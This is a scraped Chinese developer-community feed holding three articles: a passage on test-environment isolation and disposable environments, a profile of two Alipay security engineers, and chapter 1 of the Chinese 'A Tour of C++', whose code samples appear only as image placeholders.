        高频需要基建保障。首先,高频需要资源。高频执行还会给基建的各个方面造成前所未有的压力。高频还需要能力水平达到一定的基准。就拿SRE的高频演练来说吧。如果每次演练还有很多问题,那是不可能搞高频的。能高频做演练的前提是我们的隔离机制、恢复能力已经到一定的水平了。对于测试运行来说,高频跑测试要收到效果,需要把隔离和用完即抛做好。

        对于高频跑测试,一个很常见的疑虑是:原来一天只跑一次,失败的用例我已经没有时间一一排查了,现在高频跑了,我岂不是更没时间了?我的回答是:实际上,并不会这样,因为开始高频跑了以后,很快问题就会收敛的,所以总的需要排查的量可能是差不多的或者反而小了的。

        2.png

        三板斧之二:隔离

        相比起三板斧里的其他两个(高频、用完即抛),隔离的重要性应该是比较被广为接受的。隔离的好处包括:

        • 避免测试运行彼此影响,减少噪音。
        • 提高效率,执行某些破坏性测试的时候不再需要相互协调

        隔离无非是两种:硬隔离、软隔离。至于到底是走硬隔离路线,还是走软隔离路线,要根据技术栈、架构、业务形态来具体分析。不过两条道路都是能通往终局:

        • 硬隔离(全隔离环境、物理隔离)要成为终态,关键是成本。要在不增加质量盲区的前提下压缩成本。例如,如果能把整个支付系统都压缩在一台服务器里面跑[2],而且所有的功能(包括中间件层面的,例如定时任务、消息订阅、分库分表规则等)都能很好的覆盖,那是一个理想的终局。每个人都可以随时搞几套全量环境,那是很爽的。另外,对架构的拆分解耦(例如,我们做的按域独立发布)是有助于降低硬隔离的成本的,可以把一整套被测系统部署的scope大大缩小。
        • 软隔离(半共享环境,逻辑隔离,链路级别隔离)要成为终局,关键是隔离的效果。如果隔离做到完美了,就能把今天的联调环境部署到生产环境里去跑。这样,就不存在stable环境稳定性的问题了。这样,做到了真正的testing in production,也是个很理想的终局状态。

        这两种终局状态,我在我以前的工作中都达到过。的确都能work的。这两种隔离要通往终局,都是技术挑战。压缩成本是技术问题。逻辑隔离做彻底做牢靠也是技术问题。

        对于我们今天的支付或电商系统来说,我们未来的终局是硬隔离还是软隔离呢?现在还很难说。从技术可行性方面判断,软隔离更有可能成为我们的终局。硬隔离做到深水区以后就很难做了,因为会遇到架构的物理极限。突破架构的物理极限,有可能产生新的质量盲区。但相当长的一段时间里,硬隔离会继续对我们帮助很大。例如,我们要做各种非常规测试的时候,就需要硬隔离。软隔离要做到能够支持非常规测试,技术复杂度很高。从上个财年开始,我在我团队搞一键拉全量测试环境(硬隔离)的原因就是:一键拉全量环境相对比较容易做,主要就是自动化,而基于路由的软隔离方案一下子还不太ready,短期内达到我们需要的隔离水平还很难。

        硬隔离和软隔离也不是对立的,是可以一起用的。例如,我们在拉起基于路由的隔离环境的时候,拉会新的数据库。在数据库层面是一种硬隔离,是对数据库层面软隔离能力欠缺的一种补充。

        总之,隔离是必须的。采取何种隔离方案,要阶段性的基于复杂度、成本、效果等因素的综合考量。

        4.png

        三板斧之三:用完即抛

        我最喜欢的另一句话是:Test environment is ephemeral。这句话是我原创的。Ephemeral的意思就是short-living,短暂的,短命的。我对我的QA团队反复讲这句话,希望同学们能在日常工作中时刻记得这个原则。

        "Test environment is ephemeral"就意味着:

        • 我们的test setup能力要很强。我们今天在搞的一键拉起环境,就是这种能力的一部分。而且setup起来以后,要能快速verify。
        • 我们的test strategy、test plan、testability design和test automation,必须不依赖一个long living的测试环境。包括:不能依赖一个long living 的test environment里面的一些老数据。例如,Test automation必须能自己造数据,造自己需要的所有的数据。

        有了这些能力,能够以零人力成本、非常快速且非常repeatable的从无到有建一套“开箱即用”的测试环境,能够造出来测试需要的所有数据,我们就能做到测试环境的用完即抛:要跑测试了就新建一个环境,测试跑完了就把环境销毁掉。下次要用再建一个新的。而且,不单单是测试环境,测试执行机也要用完即抛。

        对于用完还需要保留一定时间的环境,也要设一个比较短的上限。例如,我以前采用过这样的做法:

        • 联调测试环境默认生命周期是7天。
        • 如果到时间还需要保留,可以延展有效期(expiration date)。每次展期最多可以展7天(相当于是 newExpDate = now + 7,而不是newExpDate = currentExpDate + 7)。
        • 最多可以展期到30天(从createDate开始算),需要30天以上的,需要特批(比如,事业群CTO)。
        • 这样的好处就是倒逼。必须一刀切的倒逼,一开始会有点痛苦,但很快大家就会习惯的,自动化什么的很快就跟上了。不这么逼一逼,很多改进是不会发生的。

        用完即抛的好处是:

        • 解决环境腐化问题,减少脏数据
        • 提高repeatability,确保每次测试运行的环境都是一致的
        • 倒逼各种优化和自动化能力的建设(测试环境的准备、造数据、等等)
        • 提高资源使用的流动性。实际的物理资源不变的前提下,增加流动性就能增加实际容量。

        测试环境用完即抛的确会引入一些新的质量风险。如果有一套长期维护的环境,里面的数据是之前老版本的代码生成的,部署了新版本代码后,这些老数据是可以帮我们发现新代码里面的数据兼容性问题的。现在用完即抛,没有老数据了,这些数据兼容性问题就可能无法发现。

        这个风险的确是存在的。解决这个风向的思路是往前看,而不是往回退。我们要探索数据兼容性问题是否有其他的解法。有没有其他的测试或者质量保障手段。甚至要想一想,怎么做到“从测到不测”,把数据兼容性问题通过架构设计来消除掉,让它不成为一个问题。

        3. 落地

        上面讲的三板斧,高频、隔离、用完即抛,的确是有点理想主义的。我们今天的基建、架构、自动化建设,离理想状态还有不少差距的。

        但我们就是要有那么一点的理想主义的。把这三板斧做好,技术上的挑战是非常非常大的,但我们有乐观主义,相信我们能够达到目标。我们有现实主义,我们可以分解目标,结合实际情况,一步步的去做。

        文章来源:AlibabaTechQA
        开发者社区整理

        ]]>
        支付宝双11狂欢幕后的女程序员:服务全球12亿人,每天和不法分子打攻防战-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 再过3天,全球最大的购物狂欢节就开始了。

        在这个睡不着的午夜,无数男男女女会在闪烁的屏幕前滑屏、抢购、享受秒级付款带来的快感。整个过程大脑分泌的多巴胺,又驱使他们以更快的速度重新填满购物车。

        2018年天猫双11成交额2135亿元,一天超10亿包裹,毫无疑问今年又会是新的纪录。

        很多人没感知的是,平稳,丝滑的购物体验之外,是数亿条诈骗和情色信息的实时骚扰,要构建安全的体系,让人感知不到危险的存在,于一群程序猿来说才是最大的意义。

        而承接这个与电商狂欢背后的支付业务风控的,非支付宝安全部门莫属。

        这个从事神秘业务的部门极少对外发声,但它却是保障这个星球上最庞大电子商务生态系统稳定运营的卫士,“要听与黑灰产投机者正邪大战的故事?那太多了,因为每天都在进行。”沐桐(花名)、念念(花名)不约而同地讲到。

        沐桐和念念是在刚刚结束的支付宝“超级Ma力大赛”中进入总决选的唯二女程序媛,一举从蚂蚁金服CTO 鲁肃和副CTO阿玺手中接过了红花榜榜首奖励,更为巧合的,她们均来自这个支付宝安全部门。

        天猫双11,一场网络安全的攻防战早已静悄悄的打响。

        程序媛打造镜像空间,让防范走快半步

        91年的念念,是支付宝业务安全部的一名女程序员。
        从公众号上看到招聘,一路过关斩将进了蚂蚁金服,念念这才知道,这家金融科技公司,原来是国民应用——支付宝的母公司。

        image.png

        她喜欢看侦探小说,更喜欢对风险支付防范于毫厘。“平时的工作,主要是维护支付宝用户的交易安全。”
        长相乖巧的念念说的简单,但她工作岗位却极为重要——服务支付宝全球12亿用户,每天数亿笔支付和转账,到了双11成交和订单更是成倍增长,念念就像一个守门神,把一切想要入侵的各种风险,都挡在了门外。这让她练就出了一双火眼金睛,和猎犬一样的嗅觉。

        在支付宝里,无论是防骗细节、大额支付的提醒、陌生账户的风险警告,以及报案后的快速反应,都有念念所在团队的一份心血。

        “我们主要提供技术支持,帮助做风控的策略同学去进行测试和试验。”为此,他们专门打造了一个灰度的镜像空间。 在这个环境中,可以模拟现实里的一切案件,包括诈骗、盗密转账等。渐渐的,这里现在已经成为了支付宝的“仿真实验室”。所有上线在跑的风控系统,都经历过在这里反复试验的洗礼。

        她所在的团队里,有7位同学都已经经历了“5年陈”——在阿里超过五年,也意味着陪伴着这个团队从零开始,走到了现在。

        image.png

        他们每天的工作就像一场无声的攻防战,他们在明,对方在暗。需要不断的模拟案件,让防范走在实战前半步。

        但念念对待工作的态度很简单,就像金庸笔下的赵敏,“非常喜欢她那句‘我偏要勉强!’”于是像赵敏对待感情那样,念念对工作始终抱有十二分的执着。

        image.png

        她手写的代码一点不输于男生。在支付宝刚刚结束的超级Ma力大赛上,闯出了两位靠代码让人眼前一亮的小姐姐。念念和她另一名同事,从支付宝5000名精兵强将中脱颖而出,进了最后的TOP100。马不停蹄的是,她刚打完比赛,就要马上回归保障支付宝交易安全的岗位,为天猫双11做技术演练。

        image.png

        作为一名程序员,每一串代码都都代表了一个虚拟世界的新生,她要用自己的力量,做好双11狂欢的背后守护者。

        支付宝里“AI鉴黄”的系统训练师

        跟念念一样,闯入这次Ma力大赛的沐桐,也同样来自支付宝安全部门。

        “其实我更像是支付宝里的‘AI鉴黄’的训练师。”沐桐表示,在来支付宝之前,家人和自己都没想过,会在这里从事这样的工作。

        如同“有人的地方就有江湖”,有流量的地方就有作恶的空间,就会有人想尽办法来“挖掘市场”。所以,在我们每天正常使用支付宝的背后,总有些不法分子想要通过各种途径,传播诈骗、淫秽信息。“像支付宝里的小程序、内容号的评论里,都有可能出现违规内容,就需要我们来识别和清理。”

        image.png

        每一篇图文、链接、小视频里的相关内容,沐桐也要负责通过训练风控系统,将其拦下。

        只要是支付宝上的内容,当风控系统识别出“不安全信息”时,会首先进行一个危险度的打分。危险度过高,会迅速被系统发现并删除。

        沐桐作为系统内容鉴别的“训练师”,每次她都会补充尽可能多的打标案例,来对算法进行提升和训练。

        “这就像一场攻防战,往往我们在升级了我们的系统、鉴别代码的同时,不法分子就会更新作案手段。”最常见的就是更换格式,“比如把12345等数字,用大小写、数字序号格式,甚至是一些火星文来表示。”这种在社交网络中常见的替换方式,在支付宝这种国民级的应用中,也没少出现过。

        除了“黄”,诈骗和赌,都是沐桐和团队需要处理的范围。就连商家的收款码被替换,她也要负责到底。

        “比较有成就感的是,跟我们的工作有关,现在收款码被替换这种情况,已经被写入了立法,属于经济犯罪的范畴。”而沐桐和团队为此,没少熬过夜。

        image.png

        支付宝整个负责安全的团队,要时刻保持在线和快速反应。就算到了下班时间,也要保持待命状态。跟所有案件一样,对于报案追踪和系统反应来说,时间就是金钱。

        “更重要的,其实是同理心。”作为一名女程序员,沐桐从来不觉得,性别是技术的上限。相反,性别给自己带来的,是更强的技术能力和同理心。“可能说起来我没什么大的特点,但是在支付宝4年下来,大家比较喜欢给我打上‘靠谱’的标签。”

        从10月开始,沐桐和团队就进入了天猫双11的安全预案演练。

        “一般像大促节点,这种交易量激增的时候,不法分子也容易投机作案、浑水摸鱼。”因此除了对系统的维护和升级,沐桐团队更是早早就定好了排班,保证大促时时有人盯守。

        对此沐桐团队,还有一个更高的要求:不漏放坏人,也不误伤用户。“我们希望能在交易激增的时刻,防范住违规信息和小广告,同时也保证好用户和商家的正常沟通。”

        ]]>
        带你读《C++语言导学》之一:基 础 知 识-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 计算机科学丛书
        点击查看第二章
        点击查看第三章
        C++语言导学(原书第2版)
        A Tour of C++, Second Edition
        image.png
        [美] 本贾尼斯特劳斯特鲁普(Bjarne Stroustrup) 著
        王 刚 译

        第1章

        A Tour of C++, Second Edition

        基 础 知 识

        首要任务,干掉所有语言专家。
        —《亨利六世》(第二部分)

        1.1 引言

        本章简要介绍C++的符号系统、C++的内存模型和计算模型以及将代码组织为程序的基本机制。这些语言设施支持最为常见的C语言编程风格,我们称之为过程式编程(procedural programming)。

        1.2 程序

        C++是一种编译型语言。为了让程序运行,首先要用编译器处理源代码文本,生成目标文件,然后再用连接器将目标文件组合成可执行程序。一个C++程序通常包含多个源代码文件,通常简称为源文件(source file)。
        image.png
        可执行程序都是为特定的硬件/系统组合创建的,不具可移植性。比如说,Mac上的可执行程序就无法移植到Windows PC上。当谈论C++程序的可移植性时,通常是指源代码的可移植性,即源代码可以在不同系统上成功编译并运行。
        ISO的C++标准定义了两类实体:

        • 核心语言特性(core language feature),例如内置类型(如char和int)和循环(如for语句和while语句);
        • 标准库组件(standard-library component),比如容器(如vector和map)和I/O操作(如<<和getline())。

        每个C++实现都提供标准库组件,它们其实也是非常普通的C++代码。换句话说,C++标准库可以用C++语言本身实现(仅在实现线程上下文切换这样的功能时才使用少量机器代码)。这意味着C++在面对大多数高要求的系统编程任务时既有丰富的表达力,同时也足够高效。
        C++是一种静态类型语言,这意味着任何实体(如对象、值、名称和表达式)在使用时都必须已被编译器了解。对象的类型决定了能在该对象上执行的操作。

        Hello, World!

        最小的C++程序如下所示:
        image.png
        这段代码定义了一个名为main的函数,该函数既不接受任何参数,也不做什么实际工作。
        在C++中,花括号{}表示成组的意思,上面的例子里,它指出函数体的首尾边界。从双斜线//开始直到该行结束是注释,注释只供人阅读和参考,编译器会直接略过注释。
        每个C++程序必须有且只有一个名为main()的全局函数,它是程序执行的起点。如果main()返回一个int整数值,则它是程序返回给“系统”的值。如果main()不返回任何内容,则系统也会收到一个表示程序成功完成的值。main()返回非零值表示程序执行失败。并非每个操作系统和执行环境都会利用这个返回值:基于Linux/Unix的环境通常会用到,而基于Windows的环境很少会用到。
        通常情况下,程序会产生一些输出。例如,下面这个程序输出Hello, World!:
        image.png

        #include<iostream>

        这一行指示编译器把iostream中涉及的标准流I/O设施的声明包含(include)进来。如果没有这些声明的话,表达式
        image.png
        无法正确执行。运算符<<(“输出”)把它的第二个参数写入到第一个参数。在这个例子里,字符串字面值"Hello, World!n"被写入到标准输出流std::cout。字符串字面值是指被一对双引号包围的字符序列。在字符串字面常量中,反斜线紧跟另一个字符组成一个“特殊字符”。在这个例子中,n是换行符,因此最终的输出结果是Hello, World!后跟一个换行。
        std::指出名字cout可在标准库名字空间(参见3.4节)中找到。本书在讨论标准特性时通常会省略掉std::,3.4节将介绍如何不使用显式限定符而让名字空间中的名字可见。
        基本上所有可执行代码都要放在函数中,并且被main()直接或间接地调用。例如:
        image.png
        “返回类型”void表示函数print_square( )不返回任何值。

        1.3 函数

        在C++程序中完成某些任务的主要方式就是调用函数。你若想描述如何进行某个操作,把它定义成函数是标准方式。注意,函数必须先声明后调用。
        一个函数声明需要给出三部分信息:函数的名字、函数的返回值类型(如果有的话)以及调用该函数必须提供的参数数量和类型。例如:
        image.png
        在一个函数声明中,返回类型位于函数名之前,参数类型位于函数名之后,并用括号包围起来。
        参数传递的语义与初始化的语义是相同的(参见3.6.1节)。即,编译器会检查参数的类型,并且在必要时执行隐式参数类型转换(参见1.4节)。例如:
        image.png
        我们不应低估这种编译时检查和类型转换的价值。
        函数声明可以包含参数名,这有助于读者理解程序的含义。但实际上,除非该声明同时也是函数的定义,否则编译器会简单忽略参数名。例如:
        image.png
        返回类型和参数类型属于函数类型的一部分。例如:
        image.png
        函数可以是类的成员(参见2.3节和4.2.1节)。对这种成员函数(member function),类名也是函数类型的一部分,例如:
        image.png
        我们都希望自己的代码易于理解,因为这是提高代码可维护性的第一步。而令程序易于理解的第一步,就是将计算任务分解为有意义的模块(用函数和类表达)并为它们命名。这样的函数就提供了计算的基本词汇,就像类型(包括内置类型和用户自定义类型)提供了数据的基本词汇一样。C++标准算法(如find、sort和iota)提供了一个良好开端(参见第12章),接下来我们就能用这些表示通用或者特殊任务的函数组合出更复杂的计算模块了。
        代码中错误的数量通常与代码的规模和复杂程度密切相关,多使用一些更短小的函数有助于降低代码的规模和复杂度。例如,通过定义函数来执行一项专门任务,在其他代码中我们就不必再为其编写一段对应的特定代码,将任务定义为函数促使我们为这些任务命名并明确它们的依赖关系。
        如果程序中存在名字相同但参数类型不同的函数,则编译器会为每次调用选择最恰当的版本。例如:
        image.png
        如果存在两个可供选择的函数且它们难分优劣,则编译器认为此次调用具有二义性并报错。例如:
        image.png
        定义多个具有相同名字的函数就是我们所熟知的函数重载(function overloading),它是泛型编程(参见7.2节)的一个基本部分。当重载函数时,应保证所有同名函数都实现相同的语义。print()函数就是一个这样的例子:每个print()都将其实参打印出来。

        1.4 类型、变量和算术运算

        每个名字、每个表达式都有自己的类型,类型决定了能对名字和表达式执行的操作。例如,下面的声明
        image.png
        指定inch的类型为int,也就是说,inch是一个整型变量。

        • 一个声明(declaration)是一条语句,为程序引入一个实体,并为该实体指明类型:
        • 一个类型(type)定义了一组可能的值以及一组(对象上的)操作。
        • 一个对象(object)是存放某种类型值的内存空间。
        • 一个值(value)是一组二进制位,具体的含义由其类型决定。
        • 一个变量(variable)是一个命名的对象。

        C++就像一个小型动物园,提供了各种基本类型,但我不是一个动物学家,因此在这里不会列出全部的C++基本类型。你可以在网络上的参考资料中找到它们,如[Stroustrup,2003]或[Cppreference]。一些例子如下:
        image.png
        每种基本类型都直接对应硬件设施,具有固定的大小,这决定了其中所能存储的值的范围:
        image.png
        一个char变量的实际大小为给定机器上存放一个字符所需的空间(通常是一个8位的字节),其他类型的大小都是char大小的整数倍。类型的大小是依赖于实现的(即,在不同机器上可能不同),可使用sizeof运算符获得这个值。例如,sizeof(char)等于1,sizeof(int)通常是4。
        数包括浮点数和整数。

        • 浮点数是通过小数点(如3.14)或指数(如3e-2)来区分的。
        • 整数字面值默认是十进制(如,42表示四十二)。前缀0b指示二进制(基为2)的整数字面值(如0b10101010)。前缀0x指示十六进制(基为16)整数字面值(如0xBAD1234)。前缀0指示八进制(基为8)的整数字面值(如0334)。

        为了令长字面常量对人类更易读,我们可以使用单引号(')作为数字分隔符。例如,π大约为3.14159'26535'89793'23846'26433'83279'50288,如果你更喜欢十六进制,就是0x3.243F'6A88'85A3'08D3。

        1.4.1 算术运算

        算术运算符可用于上述基本类型的恰当组合:
        image.png
        比较运算符也是如此:
        image.png
        除此之外,C++还提供了逻辑运算符:
        image.png
        位逻辑运算符对运算对象逐位计算,产生结果的类型与运算对象的类型一致。逻辑运算符&&和||根据运算对象的值返回true或者false。
        在赋值运算和算术运算中,C++会在基本类型之间进行有意义的转换,以便它们能自由地混合运算:
        image.png
        表达式中使用的类型转换称为常规算术类型转换(usual arithmetic conversion),其目的是确保表达式以运算对象中最高的精度进行计算。例如,对一个double和一个int求和,执行的是双精度浮点数的加法。
        注意,=是赋值运算符,而==是相等性检测。
        除了常规的算术和逻辑运算符,C++还提供了更特殊的修改变量的运算:
        image.png
        这些运算符简洁、方便,因此使用非常频繁。
        表达式的求值顺序是从左至右的,赋值操作除外,它是从右至左求值的。不幸的是,函数实参的求值顺序是未指定的。

        1.4.2 初始化

        在使用对象之前,必须给它赋予一个值。C++提供了多种表达初始化的符号,如前面用到的=,以及一种更通用的形式—花括号限界的初始值列表:
        image.png
        =初始化是一种比较传统的形式,可追溯到C语言,但如果你心存疑虑,那么还是使用通用的{}列表形式。抛开其他不谈,这至少可以令你避免在类型转换中丢失信息:
        image.png
        不幸的是,丢失信息的类型转换,即收缩转换(narrowing conversion),如double转换为int及int转换为char,在C++中是允许的,而且是隐式应用的。隐式收缩转换带来的问题是为了与C语言兼容而付出的代价(参见16.3节)。
        我们不可以漏掉常量(参见1.6节)初始化,变量也只有在极其罕见的情况下可以不初始化。也就是说,在引入一个名字时,你应该已经为它准备好了一个合适的值。用户自定义类型(如string、vector、Matrix、Motor_controller和Orc_warrior)可以定义为隐式初始化方式(参见4.2.1节)。
        在定义一个变量时,如果它的类型可以由初始值推断得到,则你无须显式指定:
        image.png
        当使用auto时,我们倾向于使用=初始化,因为其中不会涉及带来潜在麻烦的类型转换,但如果你喜欢始终使用{}初始化,也是可以的。
        当没有特殊理由需要显式指定数据类型时,一般使用auto。在这里,“特殊理由”包括:

        • 该定义位于一个较大的作用域中,我们希望代码的读者清楚地看到数据类型;
        • 我们希望明确一个变量的范围和精度(比如希望使用double而非float)。

        使用auto可以帮助我们避免冗余的代码,并且无须再书写长类型名。这一点在泛型编程中尤为重要,因为在泛型编程中程序员可能很难知道一个对象的确切类型,类型的名字也可能相当长(参见12.2节)。

        1.5 作用域和生命周期

        声明语句将一个名字引入到一个作用域中:

        • 局部作用域(local scope):声明在函数(参见1.3节)或者lambda(参见6.3.2节)内的名字称为局部名字(local name)。局部名字的作用域从声明它的地方开始,到声明语句所在的块的末尾为止。块(block)用花括号{}限定边界。函数参数的名字也属于局部名字。
        • 类作用域(class scope):如果一个名字定义在一个类(参见2.2节、2.3节和第4章)中,且位于任何函数(参见1.3节)、lambda(参见6.3.2节)或enum class(参见2.5节)之外,则称之为成员名字(member name),或类成员名字(class member name)。成员名字的作用域从包含它的声明的起始{开始,到该声明结束为止。
        • 名字空间作用域(namespace scope):如果一个名字定义在一个名字空间(参见3.4节)内,同时位于任何函数、lambda(参见6.3.2节)、类(参见2.2节、2.3节和第4章)或enum class(参见2.5节)之外,则称之为名字空间成员名字(namespace member name)。它的作用域从其声明位置开始,到名字空间结束为止。

        声明在所有结构之外的名字称为全局名字(global name),我们称其位于全局名字空间(global namespace)中。
        此外,对象也可以没有名字,比如临时对象或者用new(参见4.2.2节)创建的对象。例如:
        image.png
        我们必须先构造(初始化)对象,然后才能使用它,对象在作用域的末尾被销毁。对于名字空间对象来说,它的销毁点在整个程序的末尾。对于成员来说,它的销毁点依赖于它所属对象的销毁点。用new创建的对象一直“存活”到delete(参见4.2.2节)销毁了它为止。

        1.6 常量

        C++支持两种不变性概念:
        const:大致的意思是“我承诺不改变这个值”。主要用于说明接口,使得在用指针和引用将数据传递给函数时就不必担心数据会被改变了。编译器强制执行const做出的承诺。const的值可在运行时计算。
        constexpr:大致的意思是“在编译时求值”。主要用于说明常量,以允许将数据置于只读内存中(不太可能被破坏)以及提升性能。constexpr的值必须由编译器计算
        例如:
        image.png
        如果某个函数被用在常量表达式中(constant expression),即该表达式在编译时求值,则这个函数必须定义成constexpr。例如:
        image.png
        constexpr函数可以接受非常量参数,但此时其结果不再是一个常量表达式。当程序的上下文不要求常量表达式时,我们可以使用非常量表达式参数来调用constexpr函数,这样就不用将本来相同的函数定义两次了:一次用于常量表达式,另一次用于变量。
        要想定义成constexpr,函数必须非常简单、无副作用且仅使用通过参数传递的信息。特别是,函数不能更改非局部变量,但可以包含循环以及使用自己的局部变量。
        例如:
        image.png
        在某些场合中,常量表达式是语言规则所要求的(如数组的界(参见1.7节)、case标签(参见1.8节)、模板值参数(参见6.2节)以及使用constexpr声明的常量)。另一些情况下使用常量表达式是因为编译时求值对程序的性能非常重要。即使不考虑性能因素,不变性概念(对象状态不发生改变)也是一个重要的设计考量。

        1.7 指针、数组和引用

        最基本的数据集合类型就是数组—一种空间连续分配的相同类型的元素序列。这基本上就是硬件所提供的机制。元素类型为char的数组可像下面这样声明:
        image.png
        类似地,指针可这样声明:
        image.png
        在声明语句中,[]表示“……的数组”,*表示“指向……”。所有数组的下标都从0开始,因此v包含6个元素,从v[0]到v[5]。数组的大小必须是一个常量表达式(参见1.6节)。一种指针变量中存放着一个对应类型的对象的地址:
        image.png
        在表达式中,前置一元运算符*表示“……的内容”,而前置一元运算符&表示“……的地址”。可以用下面的图形来表示上述初始化定义的结果。
        image.png
        考虑将一个数组的10个元素拷贝给另一个数组的任务:
        image.png
        上面的for语句可以这样解读:“将i置为0。当i不等于10时,拷贝第i个元素并递增i”。当作用于一个整型或浮点型变量时,递增运算符++执行简单的加1操作。C++还提供了一种更简单的for语句,称为范围for语句,它可以用最简单的方式遍历一个序列:
        image.png
        第一个范围for语句可以解读为“从头到尾遍历v的每个元素,将其副本放入x并打印”。注意,当我们使用一个列表初始化数组时,无须指定其大小。范围for语句可用于任意的元素序列(见12.1节)。
        如果不希望将值从v拷贝到变量x中,而只是令x引用一个元素,则可编写如下代码:
        image.png
        在声明语句中,一元后置运算符&表示“……的引用”。引用类似于指针,唯一的区别是我们无须使用前置运算符*访问所引用的值。而且,一个引用在初始化之后就不能再引用其他对象了。
        当指定函数的参数时,引用特别有用。例如:
        image.png
        通过使用引用,我们保证在调用sort(my_vec)时不会拷贝my_vec,从而真正对my_vec进行排序而不是对其副本进行排序。
        还有一种情况,我们既不想改变实参,又希望避免参数拷贝的代价,此时应该使用const引用(参见1.6节)。例如:
        image.png
        函数接受const引用类型的参数是非常普遍的。
        用于声明语句中的运算符(如&、*和[])称为声明运算符(declarator operator):
        image.png
        空指针
        我们的目标是确保指针永远指向某个对象,这样该指针的解引用操作才是合法的。当确实没有对象可指向或者需要表示“没有对象可用”的概念时(例如,到达列表的末尾),我们赋予指针值nullptr(“空指针”)。所有指针类型都共享同一个nullptr:
        image.png
        接受一个指针实参时检查一下它是否指向某个东西,这通常是一种明智的做法:
        image.png
        有两点值得注意:一是如何使用++将指针移动到数组的下一个元素;二是在for语句中,如果不需要初始化操作,则可以省略它。
        count_x()的定义假定char是一个C风格字符串(C-style string),即,指针指向了一个以零结尾的char数组。字符串字面值中的字符是不可变的,为了能处理count_x("Hello!"),将count_x声明为一个const char参数。
        在旧式代码中,通常用0和NULL来替代nullptr的功能。不过,使用nullptr能够避免混淆整数(如0或NULL)和指针(如nullptr)。
        在count_x()例子中,对for语句我们并没有使用初始化部分,因此可以使用更简单的while语句:
        image.png
        image.png
        while语句重复执行,直到其循环条件变成false为止。
        对数值的检验(例如count_x()中的while(p))等价于将数值与0进行比较(例如while(p!=0))。对指针值的检验(如if(p))等价于将指针值与nullptr进行比较(如if(p!=nullptr))。
        “空引用”是不存在的。一个引用必须指向一个合法的对象(C++实现也都假定这一点)。的确存在聪明但晦涩难懂的能违反这条规则的方法,但不要这么做。

        1.8 检验

        C++提供了一套用于表达选择和循环结构的常规语句,如if语句、switch语句、while循环和for循环。例如,下面是一个简单的函数,它首先向用户提问,然后根据用户的响应返回一个布尔值:
        image.png
        与<<输出运算符(“放入”)相匹配,>>运算符(“从…获取”)被用于输入;cin是标准输入流(参见第10章)。>>的右侧运算对象是输入操作的目标,其类型决定了>>接受什么输入。输出字符串末尾的n字符表示换行(参见1.2.1节)。
        注意,变量answer的定义出现在需要该变量的地方(而非提前)。而声明则可以出现在任意位置。
        可以进一步完善代码,使其能够处理用户回答n(表示“no”)的情况:
        image.png
        image.png
        switch语句检验一个值是否存在于一组常量中。这些常量被称为case标签,彼此之间不能重复,如果待检验的值不等于任何case标签,则执行default分支。如果程序也没有提供default,则什么也不做。
        在使用switch语句的时候,如果想退出某个case分支,不必从当前函数返回。通常,我们只是希望继续执行switch语句后面的语句,为此只需使用一条break语句。举个例子,考虑下面的这个非常聪明但还比较原始的简单命令行方式电子游戏的分析器:
        image.png
        类似for语句(参见1.7节),if语句可引入变量并进行检验。例如:
        image.png
        在本例中,我们定义整数n是用在if语句内,用v.size()对其初始化,并在分号之后立即检验条件n!=0。对一个在条件中声明的名字,其作用域在if语句的两个分支内。
        与for语句一样,在if语句的条件中声明名字的目的也是限制变量的作用域,以提高可读性、尽量减少错误。
        最常见的情况是检验变量是否为0(或nullptr)。为此,我们可以简单地省略条件的显式描述。例如:
        image.png
        应尽可能选择使用这种简洁的形式。

        1.9 映射到硬件

        C++提供到硬件的直接映射。当使用一个基本运算时,其具体实现就是硬件提供的,通常是单一机器运算。例如,两个int相加的运算x+y就是执行一条整数加法机器指令。
        C++实现将机器内存看作一个内存位置序列,可在其中存放(有类型的)对象并可使用指针寻址:
        image.png
        指针在内存中表示为一个机器地址,因此在上图中p的数值为3。如果你觉得这看起来很像一个数组(参见1.7节),那是因为数组就是C++中对“内存中对象的连续序列”的基本抽象。
        基本语言结构到硬件的简单映射对原始的底层性能是至关重要的,C和C++多年来就是以此著称的。C和C++的基本机器模型是基于计算机硬件而非某种形式的数学。

        1.9.1 赋值

        内置类型的赋值就是一条机器拷贝指令。考虑下面的代码:
        image.png
        这是很明显的,可图示如下:
        image.png
        注意,两个对象是独立的。改变y的值不会影响到x的值。例如,x=99不会改变y的值。这不仅对int成立,对其他所有类型都成立,在这一点上,C++类似C而与Java、C#等语言不同。
        如果希望不同对象引用相同的(共享)值,就必须显式说明。一种方式是使用指针:
        image.png
        这段代码的效果可图示如下:
        image.png
        我随意选取了88和92作为两个int的地址。再次强调,我们可以看到被赋值对象从赋值对象得到了值,产生了两个具有相同值独立的对象(在本例中是两个指针)。即,p=q导致p==q。在p=q赋值之后,两个指针都指向y。
        引用和指针都是引用/指向一个对象,在内存中都表示为一个机器地址。但是,使用它们的语言规则是不同的。给一个引用赋值不会改变它引用了什么,而是给它引用的对象赋值:
        image.png
        这段代码的效果可图示如下:
        image.png
        为了访问一个指针指向的值,你需要使用*;而对于引用,这是自动(隐式)完成的。
        对于所有内置类型和提供了=(赋值)和==(相等判断)的定义良好的用户自定义类型(参见第2章),在x=y赋值之后,都有x==y。

        1.9.2 初始化

        初始化与赋值不同。一般而言,正确执行赋值之后,被赋值对象必须有一个值。而另一方面,初始化的任务是将一段未初始化的内存变为一个合法的对象。对几乎所有的类型来说,读写一个未初始化的变量的结果都是未定义的。对内置类型来说,这个问题对引用来说更为明显:
        image.png
        image.png
        幸运的是,我们不能使用一个未初始化的引用。如果可以的话,r2=99就会将99赋予某个未指定的内存位置。这最终可能导致糟糕的结果或程序崩溃。
        你可以使用=初始化一个引用,但不要被这种形式所迷惑。例如:
        image.png
        这仍然是一个初始化操作,将r绑定到x,而不是任何形式的值拷贝。
        初始化和赋值的区别对很多用户自定义类型也是十分重要的,例如string和vector,其中被赋值对象拥有资源,而该资源最终需要释放(参见5.3节)。
        参数传递和函数返回值的基本语义是初始化(参见3.6节)。例如,传引用方式的参数传递就是如此。

        1.10 建议

        本章的建议是《C++Core Guidelines》[Stroustrup,2015]中的建议的一个子集。对那本书的引用是这种形式[CG: ES.23],意为“Expressions and Statement”一节中的第23条准则。一般地,每条核心准则都进一步给出了原理阐述和示例。
        [ 1 ] 不必慌张!随着时间推移一切都会清晰起来;1.1节;[CG: In.0]。
        [ 2 ] 不要排他地、单独地使用内置特性。正相反,最佳的方式通常是通过库(例如ISO C++标准库,参见第8~15章)间接地使用基本(内置)特性;[CG: P.10]。
        [ 3 ] 要想写出好的程序,你不必了解C++的所有细节。
